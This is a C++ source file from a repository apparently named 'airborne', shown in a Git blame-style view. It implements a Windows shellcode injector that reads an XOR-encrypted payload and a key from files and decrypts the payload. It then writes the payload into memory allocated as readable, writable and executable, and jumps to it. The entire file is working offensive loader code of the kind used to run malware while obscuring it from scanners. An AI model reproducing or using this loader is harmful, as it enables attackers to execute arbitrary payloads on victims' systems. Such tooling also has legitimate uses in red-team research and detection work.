airborne/injector/injector.cpp

57 lines
1.4 KiB
C++
Raw Normal View History

2024-01-02 22:06:07 +01:00
#include <windows.h>
#include <iostream>
#include "../shared/futils.hpp"
#include "../shared/crypto.hpp"
2024-01-02 22:06:07 +01:00
#define VERBOSE 1
int main(int argc, char **argv)
{
if (argc != 3)
2024-01-02 22:06:07 +01:00
{
std::cout << "[?] Usage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>" << std::endl;
2024-01-02 22:06:07 +01:00
return 1;
}
#ifdef VERBOSE
std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
#endif
auto shellcodeContents = ReadFromFile(argv[1]);
2024-01-02 22:06:07 +01:00
#ifdef VERBOSE
std::cout << "[+] Reading XOR key from " << argv[2] << std::endl;
#endif
auto key = ReadFromFile(argv[2]);
2024-01-02 22:06:07 +01:00
#ifdef VERBOSE
std::cout << "[+] XOR'ing shellcode" << std::endl;
#endif
2024-01-02 22:06:07 +01:00
XorCipher(shellcodeContents, key);
2024-01-02 22:06:07 +01:00
auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
2024-01-02 22:06:07 +01:00
if (!baseAddress)
2024-01-02 22:06:07 +01:00
{
std::cout << "[!] Failed to allocate memory" << std::endl;
return 1;
}
#ifdef VERBOSE
std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl;
2024-01-02 22:06:07 +01:00
#endif
std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast<char *>(baseAddress));
2024-01-02 22:06:07 +01:00
#ifdef VERBOSE
std::cout << "[+] Copied shellcode to " << baseAddress << std::endl;
std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl;
2024-01-02 22:06:07 +01:00
#endif
__asm__("jmp *%0" ::"r"(baseAddress));
2024-01-02 22:06:07 +01:00
return 0;
}